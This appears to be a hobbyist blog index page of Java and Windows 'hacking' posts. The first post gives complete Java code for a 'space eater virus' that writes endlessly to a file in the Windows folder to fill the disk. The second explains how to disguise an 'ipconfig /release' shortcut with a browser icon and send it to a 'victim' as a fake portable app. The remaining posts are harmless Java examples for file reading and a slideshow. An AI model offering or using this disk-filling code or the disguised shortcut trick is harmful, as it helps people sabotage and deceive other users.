Posts

Showing posts from February 18, 2013

CREATE AN SPACE EATER VIRUS USING JAVA

Image
HEY GUYS. I'M BACK WITH SOME VIRUS PROGRAMMING IN JAVA. IT'S AMAZING THAT WITH SOME LITTLE LOGICAL CONCEPTS A SIMPLE PROGRAM CAN TURN INTO A VIRUS. HERE I'M GOING TO SHOW YOU HOW TO CREATE A SIMPLE SPACE EATER PROGRAM USING JAVA.   WARNING:- THIS IS FOR EDUCATION PURPOSE ONLY. I'M NOT RESPONSIBLE IN CASE OF ANY KIND OF MISUSE .   WITHOUT MUCH DELAY LETS GET STARTED: OPEN NOTEPAD AND TYPE THE FOLLOWING VIRUS CODE : import java.io.*; class Virus { public static void main(String ar[])  {    try   {    FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);    while(true)    {    f.write("Programming Is Such A FUN !!!");    }   }   catch(FileNotFoundException e){}    catch(IOException e){}  } }  Save it as Virus.java Now generate the byte code of program using Java Compiler. When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window. In orde

CLOSING SOMEONE'S INTERNET CONNECTION

Image
HEY FRIENDS IN THIS POST I WILL TELL YOU THAT HOW TO CLOSE SOMEONE'S INTERNET CONNECTION SITTING ON YOUR PC...  SO LET'S GET STARTED : RIGHT CLICK ON DESKTOP AND SELECT NEW AND SELECT SHORTCUT AS SHOWN IN THE BELOW IMAGE.           NOW A SHORTCUT WINDOWS WILL OPEN WHICH WILL LOOK   SOMETHING LIKE THIS BELOW.        NOW TYPE IN THAT BOX  ipconfig /release.bat AND THEN YOU WILL BE REDIRECTED TO OTHER WINDOWS SAYING TO SAVE THE FILE AS IN WHICH IT WILL BE WRITTEN AS ipconfig AS SHOWN BELOW.                     THEN JUST CLICK FINISH AND YOU ARE DONE.  NOW RIGHT CLICK ON THAT ICON AND SELECT PROPERTIES AND THEN CHANGE ITS IMAGE TO INTERNET EXPLORER OR ANY OTHER IMAGE. THEN SEND IT TO YOUR FRIEND OR VICTIM BY UPLOADING IT OR REMOTE SENDING FILE AND TELL HIM THAT THIS IS A NEW PORTABLE APP CHECK IT.  NOW BOOOOOOOOM IF HE/SHE CLICKS THIS ICON HIS/HER IP ADDRESS WILL VANISH AN

JAVA PROGRAM TO READ A FILE AND DISPLAY IT ON THE SCREEN

LETS START THEN WITHOUT WASTING AN TIME : import java.io.*; public class LioFile { public static void main(String args[]) { try { FileReader fr=new FileReader("LioFile.java"); BufferedReader br=new BufferedReader(fr); String str=" "; String s1 =" "; System.out.println(" s1 is "+s1.equals("ass")); while((str=br.readLine())!=null) { System.out.println(str); } } catch(FileNotFoundException fe) { fe.printStackTrace(); } catch(IOException e) { e.printStackTrace(); } } } /**** Output *** s1 is false import java.io.*; public class J7 { public static void main(String args[]) { try { FileReader fr=new FileReader("J7.java"); BufferedReader br=new BufferedReader(fr); String str=" "; String s1 =" "; System.out.println(" s1 is "+s1.equals("ass")); while((str=br.readLine())!=null) { System.out.println(str); } } catch(FileNotFoundException fe) {

SIMPLE & ADVANCED JAVA PROGRAMMING FOR SLIDESHOW

/* Java applet to display sildeshow to images from a given folder in thumbnail form, images can be selected one by one and can be enable/disable slideshow of images. The thumbnail images are placed in slides folder, the download button(rectangle) downloads the images from the web server, hence a web-server is required eg : any web-server even tomcat web-server with download folder with images*/  /*  Requirements 1. Name of java file : Sildeshow.java 2. Name of images folder : slides 3. Names of images 1.jpg, 2.jpg and so on upto 8.jpg. 3. Name of download folder in webserver : download 4. Download images given below and paste them in slides folder : 1.jpg │ 2.jpg │ 3.jpg │ 4.jpg │ 5.jpg │ 6.jpg │ 7.jpg │ 8.jpg 5. Download images given below and paste them in download folder in webserver : 1.jpg │ 2.jpg │ 3.jpg │ 4.jpg │ 5.jpg │ 6.jpg │ 7.jpg │ 8.jpg JAVA CODE FOR SLIDESHOW import java.applet.*; import java.awt.*; import java.awt.event.*; import j